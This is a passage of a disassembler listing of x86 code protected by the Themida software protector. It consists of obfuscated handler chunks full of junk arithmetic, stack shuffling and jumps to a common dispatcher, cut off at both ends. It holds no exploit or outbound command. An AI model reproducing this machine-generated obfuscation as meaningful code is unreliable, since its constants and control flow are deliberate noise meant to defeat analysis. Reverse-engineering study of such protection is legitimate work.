		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_563D75:				; CODE XREF: Themida_:005721FFj
		mov	edi, esp
		add	edi, 4
		jmp	loc_569DAF
; ---------------------------------------------------------------------------


loc_563D82:				; CODE XREF: Themida_:00570E88j
		push	43E1h
		mov	[esp], ebx
		mov	bh, 0A9h
		not	bh
		sub	bh, 0B0h
		shr	bh, 3
		dec	bh
		jmp	loc_56ABBA
; ---------------------------------------------------------------------------


loc_563D9B:				; CODE XREF: Themida_:005719C2j
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_563DA5:				; CODE XREF: Themida_:0056F01Aj
		xor	ebx, ebp
		pop	ebp
		push	edi
		push	eax
		push	edi
		mov	edi, 661E4DE1h
		mov	eax, edi
		pop	edi
		push	ecx
		mov	ecx, 0FBE9C2FFh
		mov	edi, ecx
		pop	ecx
		add	edi, eax
		jmp	loc_565B86
; ---------------------------------------------------------------------------


loc_563DC3:				; CODE XREF: Themida_:00566B73j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_572708
; ---------------------------------------------------------------------------


loc_563DD1:				; CODE XREF: Themida_:0056C5B7j
		add	ebp, 92650147h
		add	eax, ebp
		pop	ebp
		add	eax, 0C6C9C738h
		jmp	loc_56E84D
; ---------------------------------------------------------------------------


loc_563DE4:				; CODE XREF: Themida_:00570BFAj
		add	esp, 4
		jmp	loc_567D5C
; ---------------------------------------------------------------------------


loc_563DEC:				; CODE XREF: Themida_:00570422j
		mov	eax, ebp
		pop	ebp
		mov	edx, 539721EFh
		inc	edx
		add	edx, 0F6873CF7h
		xor	edx, eax
		mov	eax, [esp]
		jmp	loc_56B909
; ---------------------------------------------------------------------------


loc_563E05:				; CODE XREF: Themida_:00565B1Ej
		bts	[esp], ax
		pushf
		jmp	loc_5714A7
; ---------------------------------------------------------------------------


loc_563E10:				; CODE XREF: Themida_:0056081Aj
		and	ebp, 1D4B0FA9h
		shr	ebp, 8
		add	ebp, 0FFF7F7FBh
		mov	esi, ebp
		pop	ebp
		mov	eax, esi
		pop	esi
		jmp	loc_5694F3
; ---------------------------------------------------------------------------


loc_563E2A:				; CODE XREF: Themida_:00564CF4j
		not	di
		xor	bp, di
		xor	di, bp
		xor	bp, di
		xor	cx, bp
		xor	bp, cx
		jmp	loc_561F55
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		jmp	loc_55F47A
; ---------------------------------------------------------------------------


loc_563E4A:				; CODE XREF: Themida_:0055E1F8j
		pop	eax
		pop	eax
		sub	eax, 0D040F6Bh
		jmp	loc_561CC6
; ---------------------------------------------------------------------------


loc_563E56:				; CODE XREF: Themida_:00566A16j
		pop	ecx
		add	esp, 4
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_563E62:				; CODE XREF: Themida_:0056CA37j
		mov	esi, 60D5858h
		and	edx, esi
		mov	esi, [esp]
		add	esp, 4
		and	edx, 18066FDCh
		push	ebx
		push	esi
		mov	esi, 136E5BBFh
		jmp	loc_561661
; ---------------------------------------------------------------------------


loc_563E84:				; CODE XREF: Themida_:005646C5j
		mov	eax, esp
		jmp	loc_57149B
; ---------------------------------------------------------------------------


loc_563E8B:				; CODE XREF: Themida_:0055E456j
		mov	esi, 1FEC42DCh
		dec	esi
		not	esi
		shl	esi, 6
		jmp	loc_56CF39
; ---------------------------------------------------------------------------


loc_563E9B:				; CODE XREF: Themida_:0056CF3Dj
		mov	edi, 621AE00Ch
		jmp	loc_567896
; ---------------------------------------------------------------------------


loc_563EA5:				; CODE XREF: Themida_:0056F864j
		sub	esp, 4
		jmp	loc_56D3C4
; ---------------------------------------------------------------------------


loc_563EB0:				; CODE XREF: Themida_:0056DA9Aj
		mov	[esp], eax
		push	esp
		pop	eax
		sub	esp, 4
		jmp	loc_5623CD
; ---------------------------------------------------------------------------


loc_563EBD:				; CODE XREF: Themida_:0056A610j
		push	4
		pop	esi
		sub	eax, esi
		mov	esi, [esp]
		push	edi
		jmp	loc_56E15F
; ---------------------------------------------------------------------------


loc_563ECE:				; CODE XREF: Themida_:0056B0CBj
		add	ax, si
		sub	esp, 4
		mov	[esp], edi
		mov	di, 2834h
		sub	di, 0E872h
		jmp	loc_55F23A
; ---------------------------------------------------------------------------


loc_563EE8:				; CODE XREF: Themida_:0056C2DBj
		mov	esp, [esp]
		mov	[esp], edx
		mov	dl, 94h
		sub	dl, 0B4h
		sub	esp, 2
		mov	[esp], cx
		jmp	loc_56D488
; ---------------------------------------------------------------------------


loc_563F02:				; CODE XREF: Themida_:0056F9DCj
		add	esp, 4
		push	576Fh
		mov	[esp], edx
		push	6F34h
		jmp	loc_56072A
; ---------------------------------------------------------------------------


loc_563F17:				; CODE XREF: Themida_:0056E6A5j
		add	ebp, ebx
		sub	ebp, 3D7D5F2Bh
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 0D5945D6h
		not	ecx
		and	ecx, 7C7C780Eh
		add	ecx, 5F496DE9h
		push	edi
		mov	edi, 5027289Ah
		jmp	loc_55D86F
; ---------------------------------------------------------------------------


loc_563F44:				; CODE XREF: Themida_:0056278Fj
		add	edi, 0F2EF8647h
		mov	ecx, edi
		pop	edi
		sub	ecx, 21AB0C98h
		and	ecx, 39496AFBh
		shl	ecx, 6
		and	ecx, 26EA18B6h
		xor	ecx, 7E941CCDh
		add	ebp, ecx
		pop	ecx
		mov	edi, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_569D3D
; ---------------------------------------------------------------------------


loc_563F86:				; CODE XREF: Themida_:005725E3j
		sub	edi, ebp
		jmp	loc_564925
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55F3FD
; ---------------------------------------------------------------------------


loc_563F99:				; CODE XREF: Themida_:0055EF36j
		push	edx
		pop	ecx
		pop	edx
		sub	eax, ecx
		pop	ecx
		jmp	loc_567BDD
; ---------------------------------------------------------------------------


loc_563FA4:				; CODE XREF: Themida_:0056FECEj
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_563FA9:				; CODE XREF: Themida_:005617F8j
		sub	eax, 26FB71B6h
		jmp	loc_566618
; ---------------------------------------------------------------------------


loc_563FB3:				; CODE XREF: Themida_:00565440j
		mov	dx, [esp]
		add	esp, 2
		xor	bh, 5Fh
		add	al, bh
		push	dword ptr [esp]
		jmp	loc_561FDF
; ---------------------------------------------------------------------------


loc_563FCA:				; CODE XREF: Themida_:00571ED0j
		push	edx
		jmp	loc_560BCC
; ---------------------------------------------------------------------------


loc_563FD0:				; CODE XREF: Themida_:005655C5j
		mov	ah, 4Ah
		neg	ah
		dec	ah
		sub	ah, 0FDh
		xor	ch, ah
		pop	eax
		push	ecx
		inc	byte ptr [esp+1]
		pop	ecx
		jmp	loc_5713CA
; ---------------------------------------------------------------------------


loc_563FE7:				; CODE XREF: Themida_:0056398Aj
		add	edi, esi
		pop	esi
		jmp	loc_5722A3
; ---------------------------------------------------------------------------


loc_563FEF:				; CODE XREF: Themida_:0055D45Cj
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_564007:				; CODE XREF: Themida_:005603A6j
		push	ecx
		mov	ecx, 40320F44h
		or	ecx, 6F196106h
		shl	ecx, 6
		jmp	loc_571795
; ---------------------------------------------------------------------------


loc_56401B:				; CODE XREF: Themida_:0056CB7Bj
		sub	edx, 719A52C1h
		push	esi
		jmp	loc_55E571
; ---------------------------------------------------------------------------


loc_564027:				; CODE XREF: Themida_:0055F3BDj
		sub	ebx, eax
		pop	eax
		add	ebx, 55327C4Eh
		jmp	loc_56E4E9
; ---------------------------------------------------------------------------


loc_564035:				; CODE XREF: Themida_:0055D319j
		pop	ebx
		mov	dl, ch
		pop	ecx
		sub	dl, 0FFh
		sub	dl, 0F2h
		dec	dl
		jmp	loc_572523
; ---------------------------------------------------------------------------


loc_564046:				; CODE XREF: Themida_:00571B3Cj
		add	ecx, 27FD58A4h
		inc	ecx
		jmp	loc_56F47B
; ---------------------------------------------------------------------------


loc_564052:				; CODE XREF: Themida_:0057266Fj
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_568977
; ---------------------------------------------------------------------------


loc_564065:				; CODE XREF: Themida_:005714C1j
		pop	esp
		retn
; ---------------------------------------------------------------------------
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56406C:				; CODE XREF: Themida_:00564B6Fj
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ecx, [esp]
		jmp	loc_5715F2
; ---------------------------------------------------------------------------


loc_564086:				; CODE XREF: Themida_:0055EF2Cj
		push	43FAh
		mov	[esp], edx
		push	ebp
		mov	ebp, 32E320E7h
		shr	ebp, 6
		or	ebp, 19E12170h
		jmp	loc_563CB6
; ---------------------------------------------------------------------------


loc_5640A2:				; CODE XREF: Themida_:00567A4Cj
		xor	ebx, ebp
		jmp	loc_5709B1
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5640B7:				; CODE XREF: Themida_:00562D03j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 3B1A5F04h
		add	esi, 18F61BCEh
		jmp	loc_5645C2
; ---------------------------------------------------------------------------


loc_5640D0:				; CODE XREF: Themida_:0055F89Fj
		push	ebx
		mov	ebx, 5AE76896h
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, edx
		sub	esp, 4
		mov	[esp], edi
		push	5AE76896h
		pop	edi
		sub	eax, edi
		mov	edi, [esp]
		jmp	loc_560FF6
; ---------------------------------------------------------------------------


loc_5640F9:				; CODE XREF: Themida_:0056B79Dj
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	edx, 13B84D04h
		sub	edx, ebx
		sub	edx, 13B84D04h
		xor	ebx, edx
		xor	edx, ebx
		xor	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_568A53
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_564133:				; CODE XREF: Themida_:0055F27Cj
		xchg	ebx, [esp]
		pop	esp
		shl	ecx, 5
		xor	ecx, 9F98A36Ch
		jmp	loc_56A3D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55DEE3


loc_564145:				; CODE XREF: sub_55DEE3+25j
		pop	ecx
		push	372Ah
		mov	[esp+4+var_4], edx
		jmp	loc_56BDAD
; END OF FUNCTION CHUNK	FOR sub_55DEE3
; ---------------------------------------------------------------------------


loc_564153:				; CODE XREF: Themida_:0056348Bj
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 19F12CADh
		add	esi, 0F3239E6h
		push	4460h
		mov	[esp], ebp
		jmp	loc_55F008
; ---------------------------------------------------------------------------


loc_56417D:				; CODE XREF: Themida_:00568B9Bj
		or	ebx, ebx
		jnz	loc_5677C1
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	4378h
		jmp	loc_5702BC
; ---------------------------------------------------------------------------


loc_5641A2:				; CODE XREF: Themida_:005697D2j
		pop	ebx
		jmp	loc_560AD7
; ---------------------------------------------------------------------------


loc_5641A8:				; CODE XREF: Themida_:00569E4Fj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_567840
; ---------------------------------------------------------------------------


loc_5641D7:				; CODE XREF: Themida_:0056BC5Fj
		xor	edx, 722A7254h
		add	ebp, edx
		jmp	loc_569377
; ---------------------------------------------------------------------------


loc_5641E4:				; CODE XREF: Themida_:0057151Aj
		add	esi, eax
		pop	eax
		jmp	loc_56C800
; ---------------------------------------------------------------------------


loc_5641EC:				; CODE XREF: Themida_:005683D0j
		and	ecx, 7D0739A4h
		shr	ecx, 3
		jmp	loc_5705A8
; ---------------------------------------------------------------------------


loc_5641FA:				; CODE XREF: Themida_:00565A83j
		mov	esi, 1B2F48A8h
		sub	esi, 5E4A2CC0h
		jmp	loc_5700D3
; ---------------------------------------------------------------------------


loc_56420A:				; CODE XREF: Themida_:005608A1j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		movsx	ecx, al
		sub	esp, 4
		mov	[esp], edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	edi, 4
		push	edi
		push	esp
		jmp	loc_571956
; ---------------------------------------------------------------------------


loc_56423B:				; CODE XREF: Themida_:0056B5E4j
		neg	esi
		jmp	loc_562ED8
; ---------------------------------------------------------------------------


loc_564242:				; CODE XREF: Themida_:005694EEj
		mov	ebx, esi
		pop	esi
		sub	ebx, esi
		jmp	loc_567C8A
; ---------------------------------------------------------------------------


loc_56424C:				; CODE XREF: Themida_:0056AB54j
		pop	ebp
		and	esi, 62AC7279h
		jmp	loc_5716C7
; ---------------------------------------------------------------------------


loc_564258:				; CODE XREF: Themida_:00568C2Aj
		xchg	ebp, [esp]
		jmp	loc_56E7EC
; ---------------------------------------------------------------------------


loc_564260:				; CODE XREF: Themida_:00563BBFj
		xor	ebx, 70B869C4h
		jmp	loc_56C746
; ---------------------------------------------------------------------------


loc_56426B:				; CODE XREF: Themida_:0056E707j
		add	esp, 4
		push	edx
		mov	edx, 4
		jmp	loc_569B02
; ---------------------------------------------------------------------------


loc_56427C:				; CODE XREF: Themida_:0056B3FBj
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_56CC16
; ---------------------------------------------------------------------------


loc_564288:				; CODE XREF: Themida_:0055E56Cj
		mov	eax, esp
		push	edi
		mov	edi, 55EB5C9Dh
		add	edi, 627C5CDFh
		add	edi, 47984688h
		add	eax, edi
		pop	edi
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_566CB5
; ---------------------------------------------------------------------------


loc_5642AF:				; CODE XREF: Themida_:005652B6j
		shl	ebp, 6
		not	ebp
		sub	ebp, 12D066C6h
		push	ecx
		mov	ecx, 985EB0BDh
		xor	ebp, ecx
		pop	ecx
		jmp	loc_564628
; ---------------------------------------------------------------------------


loc_5642C8:				; CODE XREF: Themida_:005695D5j
		sub	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5602CA
; ---------------------------------------------------------------------------


loc_5642D9:				; CODE XREF: Themida_:0056C2F9j
		mov	ebx, 0C894138h
		jmp	loc_56D85A
; ---------------------------------------------------------------------------


loc_5642E3:				; CODE XREF: Themida_:0056CB51j
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	eax
		push	esp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56E988
; ---------------------------------------------------------------------------


loc_564302:				; CODE XREF: Themida_:00563C6Aj
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_564307:				; CODE XREF: Themida_:0055F86Bj
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	0E02h
		jmp	loc_563507
; ---------------------------------------------------------------------------


loc_56431A:				; CODE XREF: Themida_:0056229Fj
		pop	ecx
		xor	edx, 602A051Ch
		jmp	loc_5611FB
; ---------------------------------------------------------------------------


loc_564326:				; CODE XREF: Themida_:00571F2Ej
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		jmp	loc_56CBD0
; ---------------------------------------------------------------------------


loc_564342:				; CODE XREF: Themida_:0055FE09j
		pop	esi
		jmp	loc_562308
; ---------------------------------------------------------------------------


loc_564348:				; CODE XREF: Themida_:00567AF9j
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_56B2D6
; ---------------------------------------------------------------------------


loc_564353:				; CODE XREF: Themida_:00563C86j
		mov	eax, esp
		sub	esp, 4
		jmp	loc_5610B2
; ---------------------------------------------------------------------------


loc_56435D:				; CODE XREF: Themida_:005606E9j
		xor	eax, edx
		push	ebx
		push	28EEh
		mov	[esp], esi
		push	5039784Dh
		pop	esi
		push	eax
		mov	eax, 42682717h
		push	ebp
		mov	ebp, 46707959h
		xor	ebp, 46CE0CE6h
		jmp	loc_560066
; ---------------------------------------------------------------------------


loc_564385:				; CODE XREF: Themida_:0056B989j
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2483411h
		jmp	loc_56AD74
; ---------------------------------------------------------------------------


loc_5643A3:				; CODE XREF: Themida_:00560EBAj
		shl	cx, 6
		neg	cx
		jmp	loc_56CF11
; ---------------------------------------------------------------------------


loc_5643AF:				; CODE XREF: Themida_:00570CA7j
		push	ebx
		mov	ebx, 638361A8h
		xor	ebx, 1EF24F9Ch
		and	ebx, 4396736Ah
		jmp	loc_56AF42
; ---------------------------------------------------------------------------


loc_5643C6:				; CODE XREF: Themida_:0056A8A7j
		pop	ebx
		sub	ch, 0A6h
		sub	ch, 3
		mov	dh, ch
		jmp	loc_571BE6
; ---------------------------------------------------------------------------


loc_5643D4:				; CODE XREF: Themida_:0056B1E3j
		mov	al, 36h
		mov	ch, 0BEh
		xor	ch, al
		pop	eax
		push	cx
		xchg	cl, [esp+1]
		not	cl
		xchg	cl, [esp+1]
		jmp	loc_55FD6A
; ---------------------------------------------------------------------------


loc_5643EC:				; CODE XREF: Themida_:00560F72j
		pop	ebx
		jmp	loc_5632AC
; ---------------------------------------------------------------------------


loc_5643F2:				; CODE XREF: Themida_:00568796j
		pop	edi
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_56665B
; ---------------------------------------------------------------------------


loc_564405:				; CODE XREF: Themida_:00569D40j
		push	edx
		jmp	loc_5648D7
; ---------------------------------------------------------------------------


loc_56440B:				; CODE XREF: Themida_:005663BBj
		push	ebx
		mov	ebx, 3EED3E6Ah
		sub	ebx, 63963107h
		jmp	loc_56C442
; ---------------------------------------------------------------------------


loc_56441C:				; CODE XREF: Themida_:0056060Dj
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		jmp	loc_55E118
; ---------------------------------------------------------------------------


loc_564427:				; CODE XREF: Themida_:00562F76j
		pop	edi
		jmp	loc_56D04C
; ---------------------------------------------------------------------------


loc_56442D:				; CODE XREF: Themida_:005636BBj
		push	ebp
		push	183167D3h
		pop	ebp
		not	ebp
		not	ebp
		push	edi
		mov	edi, 60863723h
		not	edi
		jmp	loc_55E518
; ---------------------------------------------------------------------------


loc_564445:				; CODE XREF: Themida_:0057007Cj
		add	eax, 4
		sub	eax, 4
		jmp	loc_56CBAD
; ---------------------------------------------------------------------------


loc_564454:				; CODE XREF: Themida_:0055D94Bj
		sub	eax, ecx
		jmp	loc_56C8C6
; ---------------------------------------------------------------------------


loc_56445B:				; CODE XREF: Themida_:00568D3Dj
		mov	bh, 6Fh
		dec	bh
		and	bh, 0A4h
		neg	bh
		sub	bh, 0C1h
		add	ah, 6Dh
		add	ah, bh
		sub	ah, 6Dh
		pop	ebx
		xor	ah, 1Eh
		mov	dl, 0ABh
		sub	dl, ah
		jmp	loc_55D5C2
; ---------------------------------------------------------------------------


loc_56447C:				; CODE XREF: Themida_:00562580j
		push	2
		pop	ecx
		push	ecx
		mov	ecx, 7BB7698Ah
		sub	ecx, 3D646ADCh
		xor	ecx, 212223B2h
		shl	ecx, 5
		neg	ecx
		push	ebp
		jmp	loc_56AE2C
; ---------------------------------------------------------------------------


loc_56449F:				; CODE XREF: Themida_:0056FF89j
		push	edi
		jmp	loc_569CEF
; ---------------------------------------------------------------------------


loc_5644A5:				; CODE XREF: Themida_:00569CE3j
		mov	esp, [esp]
		jmp	loc_563191
; ---------------------------------------------------------------------------


loc_5644AD:				; CODE XREF: Themida_:0056F5ECj
		mov	ebx, 764F46C0h
		mov	edi, ebx
		jmp	loc_564901
; ---------------------------------------------------------------------------


loc_5644B9:				; CODE XREF: Themida_:0056EFF7j
		sub	ebx, edx
		pop	edx
		shl	ebx, 2
		shr	ebx, 1
		and	ebx, 5B710B4h
		push	ecx
		jmp	loc_55FBA4
; ---------------------------------------------------------------------------


loc_5644CD:				; CODE XREF: Themida_:0056D0F1j
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 5D01544Ah
		push	edx
		push	ecx
		mov	ecx, 7E5827B1h
		not	ecx
		neg	ecx
		not	ecx
		xor	ecx, 0DCA68C03h
		mov	edx, ecx
		pop	ecx
		xor	esi, edx
		jmp	loc_56FC63
; ---------------------------------------------------------------------------


loc_5644F6:				; CODE XREF: Themida_:00571BD1j
		mov	ah, dl
		pop	edx
		mov	bl, 96h
		jmp	loc_55D950
; ---------------------------------------------------------------------------


loc_564500:				; CODE XREF: Themida_:0056D8F0j
		mov	eax, 61BA244Dh
		shl	eax, 6
		jmp	loc_55F87E
; ---------------------------------------------------------------------------


loc_56450D:				; CODE XREF: Themida_:0056AF02j
		mov	ecx, 3F3E5D67h
		and	ecx, 67ED3A4Ah
		push	edi
		mov	edi, 55863BE5h
		jmp	loc_55FBFB
; ---------------------------------------------------------------------------


loc_564523:				; CODE XREF: Themida_:0056661Aj
		add	eax, 26FB71B6h
		jmp	loc_568608
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5701EB
; ---------------------------------------------------------------------------


loc_564536:				; CODE XREF: Themida_:0056260Bj
		push	ebp
		mov	ebp, esp
		jmp	loc_55E22F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	2AA8h
		jmp	loc_5674D1
; ---------------------------------------------------------------------------


loc_56454C:				; CODE XREF: Themida_:005632A7j
		push	ebx
		mov	ebx, eax
		mov	edi, ebx
		jmp	loc_5603D5
; ---------------------------------------------------------------------------


loc_564556:				; CODE XREF: Themida_:0055F6E2j
		add	ecx, eax
		pop	eax
		push	eax
		push	esi
		jmp	loc_56DD78
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55F793
; ---------------------------------------------------------------------------


loc_564569:				; CODE XREF: Themida_:0056BF21j
		mov	ebp, 58127D42h
		add	ecx, ebp
		jmp	loc_56B0D0
; ---------------------------------------------------------------------------


loc_564575:				; CODE XREF: Themida_:0056FBB8j
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		jmp	loc_569939
; ---------------------------------------------------------------------------


loc_56458C:				; CODE XREF: Themida_:0056CD9Dj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 42AB6C9Fh
		sub	edx, 3D6D606Ah
		jmp	loc_57289B
; ---------------------------------------------------------------------------


loc_5645AF:				; CODE XREF: Themida_:0056315Aj
		add	ebp, esi
		pop	esi
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56D921
; ---------------------------------------------------------------------------


loc_5645C2:				; CODE XREF: Themida_:005640CBj
		add	esi, 0D5EB9FFBh
		jmp	loc_56750C
; ---------------------------------------------------------------------------


loc_5645CD:				; CODE XREF: Themida_:0056EA1Aj
		push	dword ptr [edi+1Ch]
		jmp	loc_56A13D
; ---------------------------------------------------------------------------


loc_5645D5:				; CODE XREF: Themida_:0055DD72j
		pop	ebx
		sub	al, 0D2h
		sub	al, 54h
		mov	cx, [esp]
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp]
		jmp	loc_56BFC9
; ---------------------------------------------------------------------------


loc_5645FD:				; CODE XREF: Themida_:00562ECAj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	ebx, ebp
		add	ebx, 3D7013A3h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56A43D
; ---------------------------------------------------------------------------


loc_56461D:				; CODE XREF: Themida_:00567AAEj
		add	edx, 4
		jmp	loc_56001C
; ---------------------------------------------------------------------------


loc_564628:				; CODE XREF: Themida_:005642C3j
		sub	edx, 0D3F3318h
		add	edx, ebp
		push	ebx
		mov	ebx, 0D3F3318h
		add	edx, ebx
		pop	ebx
		pop	ebp
		jmp	loc_5635EC
; ---------------------------------------------------------------------------


loc_56463F:				; CODE XREF: Themida_:00564B0Fj
		neg	esi
		shl	esi, 7
		push	ebx
		mov	ebx, 69472E6Dh
		jmp	loc_55FE97
; ---------------------------------------------------------------------------


loc_56464F:				; CODE XREF: Themida_:0056D4F7j
		mov	[esp], ebp
		mov	ebp, 1F2822F2h
		and	ebp, 62CE5D59h
		push	ebp
		jmp	loc_565A11
; ---------------------------------------------------------------------------


loc_564663:				; CODE XREF: Themida_:00567AE2j
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 8A3B45AAh
		jmp	loc_5635DB
; ---------------------------------------------------------------------------


loc_564679:				; CODE XREF: Themida_:0055FBE4j
		sub	esi, 0F47DDE54h
		and	eax, esi
		pop	esi
		jmp	loc_571F7D
; ---------------------------------------------------------------------------


loc_564687:				; CODE XREF: Themida_:00563B93j
		push	eax
		jmp	loc_561EF2
; ---------------------------------------------------------------------------


loc_56468D:				; CODE XREF: Themida_:005711F4j
		sub	ebp, 32AC745Dh
		jmp	loc_56272F
; ---------------------------------------------------------------------------


loc_564698:				; CODE XREF: Themida_:0056B38Fj
		pop	esp
		push	0E3Eh
		jmp	loc_561D64
; ---------------------------------------------------------------------------


loc_5646A3:				; CODE XREF: Themida_:0056EA50j
		push	eax
		jmp	loc_5622F8
; ---------------------------------------------------------------------------


loc_5646A9:				; CODE XREF: Themida_:0056C79Dj
		push	ebx
		mov	ebx, 0
		sub	ebx, edx
		mov	edx, ebx
		pop	ebx
		neg	edx
		push	esi
		push	eax
		push	54621360h
		jmp	loc_564F35
; ---------------------------------------------------------------------------


loc_5646C2:				; CODE XREF: Themida_:0056EA30j
		mov	[esp], eax
		jmp	loc_563E84
; ---------------------------------------------------------------------------


loc_5646CA:				; CODE XREF: Themida_:0056F42Cj
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_567F33
; ---------------------------------------------------------------------------


loc_5646DE:				; CODE XREF: Themida_:0056DF86j
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_56E119
; ---------------------------------------------------------------------------


loc_564702:				; CODE XREF: Themida_:0055ED78j
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_5658EC
; ---------------------------------------------------------------------------


loc_56470D:				; CODE XREF: Themida_:00565815j
		add	eax, 3D50223Fh
		jmp	loc_56DD1E
; ---------------------------------------------------------------------------


loc_564717:				; CODE XREF: Themida_:00563B57j
		and	edx, 95341ADh
		sub	edx, 4D0672F4h
		push	ebp
		mov	ebp, 5F7A5CFFh
		jmp	loc_562DCA
; ---------------------------------------------------------------------------


loc_56472E:				; CODE XREF: Themida_:0055E7D4j
		shl	dl, 1
		jmp	loc_567CF6
; ---------------------------------------------------------------------------


loc_564735:				; CODE XREF: Themida_:0055FD2Ej
		sub	eax, 3D50223Fh
		pop	ebp
		jmp	loc_55FE7F
; ---------------------------------------------------------------------------


loc_564740:				; CODE XREF: Themida_:005639AFj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_55E38A
; ---------------------------------------------------------------------------


loc_56474F:				; CODE XREF: Themida_:0056FF5Aj
		or	edx, 6F940BA6h
		sub	edx, 45EE12B3h
		add	edx, 1F179CFh
		add	edx, 56013E53h
		jmp	loc_566296
; ---------------------------------------------------------------------------


loc_56476C:				; CODE XREF: Themida_:0056D220j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_561CE8
; ---------------------------------------------------------------------------


loc_564775:				; CODE XREF: Themida_:0056082Ej
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_565137
; ---------------------------------------------------------------------------


loc_564793:				; CODE XREF: Themida_:0055F0B7j
		neg	ebx
		jmp	loc_56EEC1
; ---------------------------------------------------------------------------


loc_56479A:				; CODE XREF: Themida_:0056FE5Cj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5647AD:				; CODE XREF: Themida_:0056F2B6j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0
		add	ecx, edx
		push	edx
